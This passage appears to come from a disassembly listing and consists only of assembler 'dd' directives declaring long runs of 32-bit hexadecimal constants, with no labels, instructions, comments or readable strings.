		dd 0DF192DADh, 5060278Dh, 4F0761CAh, 51FAA5B1h,	9765DD20h
		dd 18754872h, 89A46F00h, 568EEC4h, 696E7E18h, 0C07D6648h
		dd 15E42E11h, 930084F4h, 0BFA561ABh, 9688EDh, 0E83D7146h
		dd 0A0B53CA3h, 1C45F4Dh, 5BD15734h, 77D0EC17h, 0F37300DDh
		dd 16BEE1C8h, 85E428C6h, 0F105C400h, 6B025E49h,	8241D6Ch
		dd 3EA381D2h, 40282ACDh, 0D72220BCh, 0FF46D4EFh, 0D3AF207h
		dd 0B514079h, 31703BECh, 0DF070682h, 208BE468h,	0B6D9F103h
		dd 0A1ECB0h, 4B27FDBEh,	0D8A47869h, 484D7F00h, 0E7F50763h
		dd 83540005h, 0A3B1EC97h, 5C3F0AAAh, 1078243Fh,	4E7B9D00h
		dd 75CB62h, 4B7CBDFAh, 8EAB02A3h, 0F201DF7Ah, 20F40F01h
		dd 0F440C607h, 3EE91h, 9F9EF7D0h, 5B011462h, 60ACE8EDh
		dd 0E4A89B01h, 2D932C3Dh, 0CB047FE2h, 0DBF080BBh, 8E001B96h
		dd 61A19FD3h, 2C2BDC5Eh, 9DE0044Ch, 27CE07CFh, 0A2635070h
		dd 0FF0096CDh, 87CB9DE3h, 0BC190DCh, 91ADA6FDh,	0C083E727h
		dd 2B4FA3EFh, 0BCED58h,	196967A4h, 546E413h, 0F702E5BDh
		dd 47E080B1h, 0D000B0E8h, 6ACF7BD3h, 711E87h, 14D42585h
		dd 32735024h, 0CE7A4300h, 15B5AC38h, 70457E23h,	0EDE7FB6h
		dd 0D48360D5h, 64A1B0A0h, 3F0792DFh, 0A586D90Dh, 2B7F62C0h
		dd 5B9F0F07h, 93C0EE5Ah, 166AF920h, 4BB4FE00h, 40CBF348h
		dd 8A1A005Fh, 533CE7CAh, 3F000FE3h, 446A7034h, 2C260C69h
		dd 1EC083F7h, 9848BB15h, 4DC5CE00h, 467109EBh, 668AAC00h
		dd 5044A3Eh, 244C9086h,	80A8C952h, 223D92E2h, 8B00AC88h
		dd 66DDA580h, 16FF41CAh, 1E9D33C7h, 0DCCD4090h,	0BA6483BFh
		dd 710238h, 9CAD679Eh, 260F0C98h, 7A84D7Dh, 9345C479h
		dd 0CDC1330Dh, 0FF90F31Dh, 16014E1Fh, 50BDAA91h, 18CCE0B3h
		dd 0BCAE12B1h, 0D1800CBh, 0DD2C03EFh, 6D62B0Eh,	5C2D2038h
		dd 3C44A86Ch, 0F58D56h,	0B490643Bh, 0BE534521h,	0C2469B00h
		dd 6723B91Eh, 4C0A30B7h, 8EC08088h, 0BC993928h,	2E86A301h
		dd 44F071D8h, 405C20A6h, 1ED21BE3h, 0CB00C67Bh,	8C199930h
		dd 14880D66h, 98FC5C58h, 20611A00h, 3C0595BBh, 87EB073Bh
		dd 1D47D45Dh, 39B24DF0h, 0FC2F0066h, 0FF2660FAh, 8601C7DAh
		dd 0EC20810Ch, 0A0721838h, 0C665FE03h, 88054E15h, 0BCDAA81h
		dd 0D7BB9847h, 0B91CAB60h, 0FEE40079h, 0DF4FF27Ah, 5300B272h
		dd 9CDAD30Fh, 1FFBC9h, 0A195F3B8h, 5690749Fh, 0F90096EAh
		dd 3606D5C8h, 53BF02h, 8CEF1997h, 72F7FD90h, 87B28609h
		dd 17400D7h, 0B8317FA2h, 84F83064h, 5A998A1Ah, 0FD5C3Fh
		dd 786763A5h, 743492F1h, 6CC90062h, 6BE2F91Fh, 0DC1CFA1Ch
		dd 39006985h, 0A72B1332h, 367DC9h, 9514CB71h, 129E94F3h
		dd 65A5EA1Dh, 0FE06A0C0h, 0F277A716h, 0D490728h, 0E00F8699h
		dd 0C62F302Bh, 1FA6705h, 0C40039C0h, 0B02E58D3h, 22768181h
		dd 12463850h, 900035DAh, 400193B9h, 25F7001Bh, 0C147D35Ah
		dd 0AB0B79A5h, 20DA0AA6h, 0D9B3CF38h, 621301C8h, 0D23225F3h
		dd 0C51824D1h, 5C7AE724h, 0FCFC028Eh, 3454C3C0h, 92CFECFh
		dd 6FC0795Fh, 0A0598F83h, 0D4036488h, 0C6721C02h, 0E0B6627Ch
		dd 12DDAAD4h, 8310B96Ch, 0DCD08610h, 2124D732h,	6644FCF9h
		dd 6F538FC0h, 289A3D3Ah, 0FB93AE03h, 0FEB8AF03h, 2000595Dh
		dd 6C5E99FDh, 1DEED35h,	0AC663163h, 872A9AF0h, 3E76E730h
		dd 9085A313h, 0BF4BEh, 0EBFBC6Ah, 0C8DB0ADEh, 0A41D9038h
		dd 16022CC5h, 80D8EE75h, 5DEF51C0h, 3BF60025h, 3540EA8Ah
		dd 0D7009FA4h, 0D07033D5h, 1CBE1630h, 0C24CF579h, 0E3876E84h
		dd 0C4B71C41h, 312E1E0h, 2C00FCCDh, 9496A6EEh, 0B3440024h
		dd 5462434Eh, 0AB3F1EE9h, 80453F5Eh, 0F366036Fh, 5720Ch
		dd 23C3B5D0h, 4F358FC5h, 7D4A148h, 12D376C9h, 713E0180h
		dd 56D41314h, 0E5BA0048h, 0D8FBA819h, 27B9BC00h, 0FCF8C673h
		dd 0A0083E71h, 6EBDA704h, 30148789h, 29583051h,	6A8C600h
		dd 7E416328h, 0FEE50BB9h, 48204AF5h, 3FD937C7h,	0C8EFFB0Bh
		dd 4C44002Ch, 824390h, 154FD0CAh, 0DF0ED7C9h, 0E70054E4h
		dd 64C1A0C6h, 51B4244h,	45803FC2h, 4040C049h, 0A80025F8h
		dd 0F3CDA166h, 7B38F5h,	0BC01BA6Eh, 5174330h, 0CA24871Eh
		dd 1801B2D2h, 9746404Bh, 0BD2B20h, 9AC7997Eh, 0F56EFB1Dh
		dd 9E1470Eh, 0A5C40060h, 3E9454A4h, 0BEB8DF9Fh,	653AFC80h
		dd 6601159h, 8C86783Ch,	0C83855ECh, 8364034Bh, 0F2B64042h
		dd 0A428A3C0h, 0F82CAD2Ch, 0A10CE100h, 1F59F38Fh, 478CEAD5h
		dd 6065680Dh, 393CCFB8h, 0B9227700h, 35ACA984h,	0D49302D5h
		dd 11959C37h, 0AA26FD40h, 0FB9BE702h, 0C0F1424Ch, 0D98F6Ch
		dd 0B1558AF8h, 0DF67A0ABh, 65CFA300h, 0FEB71AE8h, 0AE8B3AC4h
		dd 253DB93h, 0CE8F0C48h, 0E5FA9700h, 9A4E9Dh, 55BDC6E8h
		dd 0F9009CD2h, 33B50F2Ch, 322FEEh, 4C364834h, 0C8F87E8Dh
		dd 56DA1107h, 0C2D037BCh, 6F9510h, 0C04BF3D7h, 8F6D3089h
		dd 738E7402h, 0D0683D80h, 7B8C00C4h, 0B38B069Fh, 9A3EF90Eh
		dd 0D3B018B8h, 0F7D448h, 2B6B898Eh, 0FF9FC05Bh,	42E0618h
		dd 8D47511h, 2C1D418Dh,	0EDCD003Ah, 9D7808C3h, 0CC6000C7h
		dd 0C6B8D1E7h, 747EFFEAh, 3086E8C0h, 126F36B0h,	21486A07h
		dd 70CA2A54h, 0A700E3E0h, 5D81F56Bh, 2655B5E6h,	9E1C9339h
		dd 5FC1C022h, 41570FC8h, 0F4B3EF01h, 7B926B73h,	0FC000C38h
		dd 9BE9536Fh, 35F2FA79h, 4EFAF090h, 12AC9054h, 68910B06h
		dd 109671h, 70C2534Dh, 9A7B054h, 0BA00E0B8h, 123ED0C4h
		dd 0FE2063C3h, 602460D7h, 0FAB899C7h, 31AA1512h, 0ADA85A18h
		dd 9EF10004h, 47D06C5Ah, 1C3F56CAh, 518804Ah, 0AEC3A65Bh
		dd 63870040h, 0F889A02h, 0DD043077h, 0FAC12856h, 0F5A6DC80h
		dd 7A5500AAh, 65CB5191h, 0B8EBAFh, 90090EEh, 42B7527h
		dd 0F0AE56F9h, 9A91005Ch, 77AD085Ah, 4977E45Fh,	0E3512403h
		dd 92E24155h, 357860D1h, 0C8A1DF7h, 0FF92400Bh,	0C6F2572Eh
		dd 1CC04F48h, 0F301E460h, 4841F79Bh, 8C34ED61h,	56100733h
		dd 0B48AC55Fh, 9E1C80CAh, 0C8C083FAh, 6EE1F9A6h, 73CC0E86h
		dd 1667E299h, 4E51C001h, 950009ACh, 0F8590D3Dh,	48FACAADh
		dd 54090C8Ch, 80C186h, 332ECDFCh, 83176400h, 40393D2h
		dd 817260A2h, 94E013CEh, 0E8C4AD01h, 60DAD840h,	3A18D3DCh
		dd 331C6AF9h, 6DF20008h, 0ABEF8BFCh, 0FFB40400h, 5755BA02h
		dd 50234D1Ah, 683F9300h, 926E7713h, 60407D1Eh, 0E5FF140h
		dd 781D2FBh, 0F325AB41h, 8C4B970h, 78170200h, 193DD26Eh
		dd 0D8D300C7h, 0CE61A51Ah, 73043840h, 0CC059F75h, 90957082h
		dd 9AFC3C8h, 0EE255E45h, 188A9D80h, 830224FDh, 4C121EF3h
		dd 48D8C9F6h, 9E415880h, 0FE22673Eh, 8107DB00h,	2F16639Fh
		dd 79930004h, 0FA742847h, 3D003144h, 0B4695C08h, 0E8CB5237h
		dd 85C2007Bh, 6AB36E74h, 0DE38647Fh, 1A470019h,	4207D29Bh
		dd 0A42048ECh, 1C650272h, 0C06CE5FEh, 9FD8CF43h, 0F800A37Dh
		dd 6B44A2A5h, 729B21h, 6C27AB34h, 0AAF4F93Eh, 0D6F8B34Ah
		dd 5F450500h, 0D0796F9Ah, 0CAB23F00h, 0A6D308D9h, 0E84D5049h
		dd 144338BBh, 7ED7170h,	3084D2AEh, 53505C2Ch, 6A1CB00h
		dd 838D7931h, 48EC1E51h
		dd 0A85A40C9h, 0D8EDA056h, 28C0BA17h, 0E877A500h, 4CE3B4CAh
		dd 2B00D168h, 2828715h,	6B60984Ah, 1A0A5811h, 3BA91CB8h
		dd 1F47647Dh, 9F200B5h,	866A9318h, 703CB100h, 14CFFBC3h
		dd 1158601Ch, 0FDB4E853h, 68605700h, 0D754A889h, 65C00E3h
		dd 0BA85AB5Eh, 6A00CC4Ah, 2DF75B93h, 58FE1632h,	0FB00C84Bh
		dd 0EAB7F8F5h, 4F00F01Dh, 489425B2h, 0E2824ADh,	68334D02h
		dd 39D1405Fh, 7F5C542Ah, 0E1B95200h, 4290ED78h,	53EC5822h
		dd 90F8A536h, 46607C01h, 76A2C35Ch, 3F6862D0h, 6A18D6B0h
		dd 0E1D04A42h, 79AF694Ch, 0A49E9F0Eh, 20526C67h, 6D3F0009h
		dd 0E980F4D8h, 8900FDBFh, 1DD1B34h, 1F2CB00Bh, 0CE86766Ah
		dd 0E04F0718h, 0C9C21300h, 3B004B51h, 9959B8B1h, 0A39A87h
		dd 1A80B0F2h, 9EE682EDh, 382FA200h, 0D9905D0Eh,	4BFA0F31h
		dd 41AFCC84h, 5623EBC0h, 7F00E41Eh, 602D2B4Ah, 9081B6FDh
		dd 0A692006Ch, 42CB7EE1h, 0F9097B99h, 802DAFE7h, 0F3DF6D22h
		dd 0AD682C09h, 92C00017h, 0C43E4B31h, 17462400h, 0C8E1AEFCh
		dd 7C3303ECh, 0EBBAF809h, 0CD4C2CB8h, 7E886B03h, 0B18C4865h
		dd 6E704F4Eh, 0C99600D9h, 146C50F3h, 0C4075834h, 0EE4DB041h
		dd 0F82D9EC3h, 1669DCA2h, 87766Fh, 7C658A45h, 0E03BBA83h
		dd 0A27F80C3h, 88778B7Bh, 3D4278A3h, 0AC859747h, 8045D187h
		dd 9AB85AF0h, 4FA35200h, 4B3D143Bh, 5EF300BBh, 656251F8h
		dd 29097AE0h, 80530566h, 9748C0C0h, 0F6CF2488h,	0E08C8054h
		dd 85F0A7D0h, 7B046F00h, 9AD129A2h, 4BB700BCh, 2D7A5814h
		dd 0FB003526h, 3884C143h, 1A016A3h, 3CE90895h, 206F6DF6h
		dd 0F0147315h, 8C23B4h,	34CB3D30h, 5037B7FEh, 75CAFDFh
		dd 0DAF52E77h, 382A020h, 400333Eh, 3A69F401h, 34BFCADh
		dd 9F75C57h, 51AB8DB8h,	0A9D71000h, 0B43BD0E2h,	7873ACh
		dd 0F541FB0Ch, 84C83E6h, 0F273B973h, 681B3E0Fh,	0D88EA34Ah
		dd 5541580Fh, 32E1D900h, 0FA5D029Ah, 192CE602h,	44B0F3E0h
		dd 16B600C4h, 17BA453Fh, 0C9F6A1C0h, 0C5DB1901h, 0A7B1A4E0h
		dd 3B249D70h, 40805D1Fh, 0D4D74625h, 503933E1h,	0BC48001h
		dd 2B803B53h, 6C6249Ch,	0C892005Eh, 0DEB43D7Fh,	14EC2A01h
		dd 5283D887h, 0F1DC827h, 18CC2FDh, 0D080CF59h, 1B2438E0h
		dd 0A1EB501h, 0D1B602E9h, 44C5F0h, 17314661h, 8A4D92C9h
		dd 3428738h, 0CF7F746Ah, 0FC01C82Eh, 48066237h,	80444547h
		dd 0E5C3AD00h, 30E9FACDh, 1E0460D3h, 429E2ADBh,	0C351B409h
		dd 394820CAh, 0EEE91888h, 0D32E003Bh, 0C0FA9962h, 98756E6Ah
		dd 6090AB00h, 0BC127132h, 0DDD9001Dh, 0A2265CB7h, 5E00A028h
		dd 5FBED885h, 0F87D4899h, 0E08B00B6h, 24466366h, 0D200DB4Eh
		dd 72BC4017h, 1397508Fh, 0F690D56h, 0F1200E2Ch,	0F77C282Fh
		dd 35D33800h, 0B1D9ACBDh, 3D9B020Fh, 0D4241572h, 7A25E440h
		dd 0B004C2F0h, 655C0EA6h, 3564480h, 7416004Dh, 143E2DBDh
		dd 7B00E846h, 62905341h, 0EFB011h, 4E10B143h, 0AE7256A2h
		dd 920010B8h, 42898AC1h, 4CF7C05Ah, 0AA007757h,	0B10BB378h
		dd 0D65487DDh, 4C00CD94h, 0ECE16E86h, 3FB93AD8h, 0B500FB6Ah
		dd 0CF4A9B6Bh, 2B39A42Ah, 0F3C850CDh, 56767900h, 7F94E911h
		dd 8A53009Eh, 0CCFE64CEh, 5400AAC7h, 35C81281h,	72177CAEh
		dd 834C0047h, 4DEF3F99h, 430023B0h, 0BC0EDF96h,	0AD1F94h
		dd 0C56A5FA0h, 479961FDh, 9C87400h, 72983B5h, 26607BE1h
		dd 3E50BCDDh, 741E6900h, 912D477Eh, 4EA5F707h, 0F5B001E2h
		dd 808895h, 5A5063FDh, 0D89E93ACh, 0D3426265h, 3D0C3081h
		dd 0EE451180h, 9624B683h, 0D8731F30h, 7ACD509h,	0DCE46FE2h
		dd 0D693C003h, 0F91292B5h, 800B2ABh, 153271D4h,	133A009Fh
		dd 1BD2026Fh, 0BA008663h, 0A8A7BB89h, 24CBD9h, 83141C9Dh
		dd 0DE19A3C4h, 0B51DF300h, 9746BEBAh, 476C07BFh, 20FFC89Bh
		dd 311B0B44h, 0C91A0900h, 0FC7395B4h, 1E300024h, 5F717BD3h
		dd 97F2E82Eh, 60518000h, 45E3E1C6h, 58DD7B04h, 0A013C0BAh
		dd 6C9F0092h, 0E4DC8699h, 462F8D01h, 815C56ABh,	3B88E02Ah
		dd 0F9033F01h, 374E8A40h, 7AC42C60h, 0D6B000Eh,	0D3DFBC6Dh
		dd 5D009CFCh, 1F72657Ch, 2B3F91h, 7ACB92DBh, 0CD13B56Ah
		dd 7F8EF48h, 7FE8C994h,	0DB04ED50h, 218A26C4h, 40D0247Eh
		dd 0ADE4129Fh, 0FB0D6C00h, 5D704CC0h, 0CD67009Eh, 3184F2A0h
		dd 9F0217A5h, 0FB683AAAh, 0ABC86326h, 0F830F557h, 5814DC22h
		dd 320F38CFh, 7F201109h, 7850AC0Fh, 5A87EE00h, 8C658894h
		dd 35B700C0h, 0A0EAFBCDh, 2307E975h, 0C6C52A3Fh, 0FA5E7B11h
		dd 6C253BC5h, 0B825B603h, 0D0D341h, 1446671Eh, 4CA533CAh
		dd 7EE6A401h, 8D3D350Bh, 3E88E0D2h, 0C1DD3DEBh,	0BF8F90BDh
		dd 21804824h, 0E68B0D1h, 2B098690h, 7743F52h, 1F809E67h
		dd 26B4C1C3h, 89FBD4h, 356EB084h, 7E008BE8h, 0A5E205CCh
		dd 0F4AFAE02h, 484BFCA1h, 971E7CA8h, 0F1D14475h, 0FF8C809Ch
		dd 8D7D98E9h, 6FEA409h,	82E8007Dh, 5F1B3E8h, 66E9FCBDh
		dd 141980BBh, 6D246248h, 9F0E60C3h, 0A1EE604Ch,	0D3FADCh
		dd 522E7950h, 0AD8DA5B1h, 3E60A960h, 0B8962530h, 9B7716E4h
		dd 97140711h, 3FCA0C1h,	7A03A046h, 31635C83h, 8AB0A8F3h
		dd 0A56A0026h, 157F1A8Eh, 61FAC887h, 0BCFD4803h, 98CBF2B3h
		dd 740CC77h, 17039BB1h,	7D756001h, 5D018342h, 9D3C8E2Bh
		dd 0F9805B45h, 0EDD4AD0Eh, 0F400DDF2h, 9C74E898h, 0C0F711h
		dd 0DCDEB2Bh, 0A1F08C58h, 81DE7500h, 8DED8AD0h,	0BA4F50DDh
		dd 6C02001Dh, 0EEAF68B3h, 430044F3h, 5B10CC5Eh,	985FFC49h
		dd 0A0BF00E6h, 7F35D0CFh, 0CE2C5372h, 2D00A77Eh, 203A38A3h
		dd 0B6BB5CF0h, 8C6CD0Fh, 4CD77700h, 0A307B362h,	586CDE89h
		dd 9390A267h, 0B60A29h,	5E20A16Fh, 785F48B7h, 0CFDB651Fh
		dd 66BA9C0Fh, 107E2Ch, 0E1D84F2Fh, 12C28DD1h, 7A0D6200h
		dd 41DF5BBh, 577E07E3h,	0F107444Ch, 0D02A4720h,	5E0772C0h
		dd 4EE39F96h, 1C0084AAh, 23514CD5h, 599874h, 213E6E20h
		dd 86FDA712h, 1EE45400h, 8788858Bh, 8D461DB2h, 0B0DB00CCh
		dd 3902D9B5h, 8972E600h, 7C7FBABEh, 3F49005Ah, 0A698259Dh
		dd 850091A9h, 5B73DC45h, 1FB8FA7Fh, 0EEE41C3Dh,	0D33E00E4h
		dd 1B8C8610h, 0E8D72B03h, 90F448FAh, 1D68DAh, 0C79EB9A9h
		dd 0BF34CC2Ah, 0CAE54A00h, 0D0CD60BCh, 2E7000E0h, 4577E7B1h
		dd 38FCE4B9h, 0E6520400h, 8BB2EABFh, 50EE0035h,	0E5EFD26Dh
		dd 43B08A13h, 41A49h, 43C45922h, 0B8CAAC36h, 0EEEF0719h
		dd 900188E2h, 48E5DA37h, 0F3103F00h, 0A74DC956h, 91780070h
		dd 0A51D43F6h, 5000B4AAh, 0CFDA8B3Ch, 2CA042h, 0B83E715h
		dd 67B63797h, 0AD98A9F0h, 99004EF0h, 3EAE5C7Ah,	90D1CCCEh
		dd 0F9B480C3h, 0E91A0065h, 0C581F2F1h, 4C00DC38h, 8AFEA58Eh
		dd 0EAC10D4Bh, 0F1BE00E5h, 3358C18h, 7008F21h, 7BE03F37h
		dd 5D4C7AEh, 5A2A11C3h,	10C400E5h, 248DE783h, 2E01AF7Dh
		dd 0F1AD4387h, 6EF46165h, 375C6h, 822DD00Dh, 0C348C88Ch
		dd 1C199B07h, 0C0307DA9h, 72F14195h, 0E540F55h,	63009DC6h
		dd 47F92603h, 1D76AF05h, 8000C0D8h, 53066A13h, 0E75401E3h
		dd 47CB4236h, 62982021h, 9300E17Ah, 0BB84AF2Dh,	71A7EEDh
		dd 340A9580h, 8313D3FFh, 0D32674E0h, 4A03F80Bh,	293D00F6h
		dd 1C8E95BCh, 40913E8Bh
		dd 0AB9CFF25h, 407A5A8h, 0EEE80613h, 0A633C360h, 74EB75AEh
		dd 0CCB73856h, 0AFC70075h, 612C83ABh, 0D200DD19h, 0BCD1289Ch
		dd 0F068A37Ch, 179A1CDCh, 0FDE687E9h, 80809498h, 9C625AB4h
		dd 20CE9500h, 4ABA06AFh, 0A5CD0059h, 0D2515458h, 86009D34h
		dd 5A1CC61Bh, 5CCAC4Ch,	0FC32C877h, 39C90A22h, 8BDF00FCh
		dd 1D0FA28Fh, 0CFB19A00h, 730BCA91h, 3DF50044h,	0A7FE9DC5h
		dd 59002A3Bh, 72A1158Ch, 0F1EA688h, 6AEAC223h, 1F8FFD8Fh
		dd 0D77C54E1h, 0E0D9D549h, 35388A14h, 9AAB8098h, 7377171Ah
		dd 7BB071h, 94BE0EF2h, 3CE589C6h, 1F05FF7Fh, 413860BFh
		dd 0FECCEB80h, 4E550396h, 694A9184h, 7534E600h,	6E6FAA2Bh
		dd 81D901DDh, 3C0B53A2h, 0B27900A0h, 35840905h,	0CE00A4D6h
		dd 0DC2CD8B4h, 0EB1D9B01h, 906093F4h, 302CAE4h,	0E83155BEh
		dd 6E0F5EAh, 0B9000F6Dh, 7B9A54B5h, 0D78716h, 65BDE9D8h
		dd 0D6BE06B1h, 4131A500h, 0A4144026h, 0E8B700A9h, 0CC6B3D58h
		dd 0D00D8ABh, 37EDCB3Ah, 2698016h, 0E9EB150Ah, 80579ECDh
		dd 173F8257h, 1FE300ABh, 0A92BC4A3h, 3015FC9h, 0E86EA591h
		dd 983417DBh, 24077746h, 809C596Bh, 5F3CCB4Eh, 0AB00D6CFh
		dd 0D27985AAh, 24488Bh,	95026660h, 34B84464h, 0E6D7B002h
		dd 48A032D9h, 3EC8D34h,	3627CEBh, 0ACD81D8Ah, 20B068DFh
		dd 0BC12D60Eh, 203B4BDBh, 7F15B628h, 0FEB9061Ah, 193895DAh
		dd 5FF6B80Ch, 0DEB030C8h, 0C404C039h, 73107798h, 0BB214101h
		dd 0AF1BD7C8h, 698F20h,	0ACEF8672h, 7097C9D6h, 0DDBE750Ch
		dd 0A4DAD958h, 78BD0F3Ch, 10543ACEh, 0CCA612h, 1B5CC390h
		dd 514C8F93h, 1C780EF6h, 34DA0FB9h, 0E0BE1450h,	6CCC021Ch
		dd 0C1C41Bh, 0BFAAC3CAh, 0D810DB50h, 0A6388A30h, 0E94375h
		dd 0E3281EFAh, 731706EDh, 1C923E58h, 782C1BF6h,	384B7D00h
		dd 2EA945DDh, 0C39582h,	85FB2DDCh, 331F84E4h, 0EB09D160h
		dd 2404805Ah, 861620h, 0E5736A08h, 0D4CE4825h, 9F00887Bh
		dd 354EAD90h, 6B5918h, 305F3121h, 7CF3132Eh, 8367A81Fh
		dd 0E18C1C80h, 712DA5Ch, 19AE3039h, 3F60EE08h, 0D4172EAh
		dd 0D928C379h, 0B9F6801Eh, 4CABD700h, 581A40A3h, 9E5C00C7h
		dd 0EFF1526Ah, 0A1C4B03h, 955F4382h, 2FAE3C00h,	0E0A1D66Dh
		dd 0F0C40072h, 0AA9AA498h, 0F5785BC8h, 6FA97800h, 4F12BE8h
		dd 13670054h, 9E604348h, 0F0A0B0D6h, 0C92F42C8h, 3DCD671h
		dd 251388C5h, 6EB5DBE8h, 455A6000h, 14F49E44h, 517021h
		dd 71496BB4h, 0F30F19A5h, 7344A200h, 0B64BBFC0h, 0CA103FEFh
		dd 310FEDD8h, 0CB00586Fh, 9FDF65F2h, 35C0E48h, 0DE35F59Ch
		dd 1236F9C9h, 6EC1D04h,	1013FFB6h, 96A25712h, 2AE9D202h
		dd 0ACF08019h, 0A6C78h,	0C294B64Dh, 0A657C052h,	0E62990EDh
		dd 0B911782h, 0F1218804h, 429817AAh, 0BC2490E1h, 12A9BB21h
		dd 41AD11DEh, 11C15028h, 0BA11A88Dh, 6A79111Eh,	14824412h
		dd 702F9E9Bh, 48671284h, 93884278h, 0CD219224h,	0C06C1168h
		dd 0BDB9B500h, 31944E00h, 92E5B115h, 479700DBh,	0A7F92DE8h
		dd 35F257F0h, 560093F0h, 5A3EC03Dh, 6BAF06h, 8A10A93Bh
		dd 0FBEE461Bh, 0B04F7ECh, 0B4F940BAh, 1263CDE0h, 90E180D4h
		dd 0F591BE4Ch, 0AB00A875h, 49513657h, 386C43C2h, 0BD003964h
		dd 0D680B62h, 9D00C1C9h, 51D1FD4Eh, 25892A4h, 0F8BEDCCDh
		dd 3B40D573h, 701C2ADh,	454A756h, 0CF43B0Dh, 1D5F005Ah
		dd 0E5032B02h, 0E33BC5D5h, 8EAA1DADh, 2FA50187h, 9E513731h
		dd 182044D9h, 3C2807D3h, 9070C866h, 93FE94F3h, 0D00CB4FCh
		dd 109519A7h, 0B38F864h, 149027E0h, 0B02AD480h,	300D2AEh
		dd 79045F0Eh, 0CB96A8Bh, 566EC870h, 65003F88h, 0F059A8B6h
		dd 4D234344h, 0D500542Ah, 0CCA0757Dh, 680B0955h, 87F79D6Fh
		dd 77E1158h, 76B2E75Dh,	0CAC8C0C8h, 37180089h, 15C1F20Fh
		dd 2EECEFA0h, 8D47DD01h, 263478BCh, 0F0C05871h,	0AFE3182Bh
		dd 5828B81Ah, 3AE20200h, 0B97CA45h, 1B871605h, 11781C08h
		dd 0B061008Dh, 0E50A926Eh, 0EB17008Fh, 99AE6595h, 360861Dh
		dd 5C5DD28h, 0FA7900B4h, 0E4F15DDFh, 5075DC39h,	54CB2600h
		dd 5F4E9A9Fh, 95330008h, 0CD0737C8h, 591D0AD7h,	6DCE1A2Ah
		dd 87C2A0B0h, 31465DAh,	7155581Fh, 92F05486h, 0DB00050Eh
		dd 419CFC18h, 0A47628h,	35917B80h, 57A9109Ah, 60BE7400h
		dd 9EF3F015h, 0DD0927C2h, 0EA0F96D4h, 0EC77CAEEh, 8F0D6507h
		dd 7D79B170h, 5BA41F5Dh, 0A1428053h, 87EC1435h,	86170C75h
		dd 480008EBh, 0F02F2303h, 0CF400CE1h, 0B166C250h, 0CE76A107h
		dd 0BF218B22h, 0B5F5FD4Ah, 8180F829h, 0EC3421BCh, 73022092h
		dd 0EB49D1A3h, 0B9EB6074h, 0E86090BAh, 2560108h, 0D2645261h
		dd 0D6F8808Ch, 7C8DC83Fh, 1D017C4h, 0ECD000F8h,	885BBE6Ch
		dd 4ABD3000h, 36EA133Bh, 9C0FE8Ah, 3CAC3709h, 7B3D2802h
		dd 0B830059h, 8841EF46h, 0BE938Dh, 0C554B97Dh, 12E252E7h
		dd 8558AF00h, 4BCFDB8Fh, 75C3057Fh, 0AACDC9D1h,	1C69C580h
		dd 0E11A3AD6h, 0ADEA9783h, 0E0003B51h, 0A5EDB23Fh, 71CE838h
		dd 62EC2336h, 0D7051078h, 0A7001AE4h, 0DAADB6A8h, 52CAC3h
		dd 5193FC4Dh, 78C07F5Dh, 298A1A00h, 0AA358FFBh,	0DE440376h
		dd 0C219C556h, 0E654B1D0h, 655A2E1Fh, 73F70344h, 0AE6C67C0h
		dd 40E833h, 459E6EECh, 2209C3D5h, 5D63D213h, 92EFFC00h
		dd 397397FFh, 9F801A77h, 3DC13451h, 3B98025Eh, 0DA83A00h
		dd 93E33688h, 449601C4h, 0A3FD38F4h, 7D8F449h, 0F0324D3Dh
		dd 0E6835200h, 0F2036345h, 992B1E2Dh, 46EEC0C8h, 0DED0B10h
		dd 0E002AE74h, 8B72C4B4h, 26EC4076h, 119A00A7h,	0B1C15D61h
		dd 2F0030ABh, 0B471A452h, 358E9Fh, 0BE3CF240h, 0C593A10Ch
		dd 0AC607500h, 0CD8CAFA6h, 840F1DB1h, 0B0E28187h, 70DF803Bh
		dd 0C9000631h, 486BCDA5h, 1BA27A8h, 0E029D5A9h,	8F7B7E56h
		dd 4028F3E9h, 7309F7DAh, 0A27379h, 3F3CA0FBh, 0C1BC5C0h
		dd 9901E300h, 0E6385D86h, 9C91008Eh, 0B9D1536Ch, 500009CBh
		dd 526518FEh, 3EB2822Dh, 0F2FBCF8Fh, 1C4E07Fh, 3F18937Ch
		dd 0D067B879h, 0FF155C57h, 3C2D1Ch, 1F682BFDh, 1C848342h
		dd 0C040AD4Ch, 9BAA5A29h, 0F6001EE0h, 4314A98Bh, 0EB2DA7h
		dd 0CBC33126h, 3E029C77h, 27CD1718h, 0A4D618h, 2CC1633Ah
		dd 0ACF8645h, 0A7C01D1Dh, 0B3026564h, 4041BBA4h, 1C0159FCh
		dd 0DD0DB294h, 7798C069h, 0D546734Fh, 0D8182800h, 8A31088Ch
		dd 4CB8EAD7h, 0DB00A598h, 0FBCCEDF4h, 6C00CE54h, 72ADB501h
		dd 48C026C2h, 0F105FC2Ch, 906088D6h, 0EF5E4F68h, 0BE2471FAh
		dd 9D3AD8E1h, 96419DB2h, 0E9093447h, 65DF024h, 0EB3E9A46h
		dd 100010D5h, 1BDDC33Ch, 3F13F3B0h, 0E4C80B2Ah,	80EA2016h
		dd 0FE16680Ch, 30EB571Ch, 0F0029FC0h, 34C6C66h,	0D47170AFh
		dd 0BDC03F3Ah, 0FC00825Eh, 201FEB5h, 1E1C20E0h,	0CB610870h
		dd 93003068h, 734943E8h, 0C9245B0Eh, 70F4E07Bh,	1891CFh
		dd 0FD209FA6h, 60D17E06h, 0E8A41E54h, 0D1C8CB1h, 4335E94Fh
		dd 0C26B0624h, 888B27h,	9B7377FDh, 3349059Dh, 8046922Bh
		dd 0B71B6A9Ch, 3F006790h, 0AC1F4412h, 86DEBFh, 0DADD58D7h
		dd 0F6B3E398h, 0EB07448h, 81722002h, 358BA69Fh,	0A87620h
		dd 145A3732h, 349EEF6Bh, 0B5032300h, 0CC62E70Fh, 3FF20058h
		dd 926198FDh, 0EE3E2A87h
		dd 0FD3BBDE1h, 0E41B301Dh, 9D9345C0h, 0CF0A5C9Bh, 0A4C009D9h
		dd 7985BDA2h, 670048F2h, 0C4F6635Fh, 1880838h, 3A2118BCh
		dd 0E08A1CC7h, 2B043F1Fh, 0C85CFEE4h, 917C58C0h, 0A2BD05A5h
		dd 40D03793h, 58E6C188h, 0DC50C722h, 0F8020BF4h, 0A4D12BDBh
		dd 6324E91Ah, 5E321C8h,	0E410EB1Bh, 2318905Ch, 665A0CD3h
		dd 80711001h, 0E6C5148Ch, 6D0FBC40h, 0D043075Dh, 0F0B46C89h
		dd 91C62D0Ch, 52780800h, 0D2A39542h, 0A1650070h, 0EC0596B1h
		dd 97010B82h, 42BF401Ah, 4B206D6Fh, 167B00B2h, 468A0665h
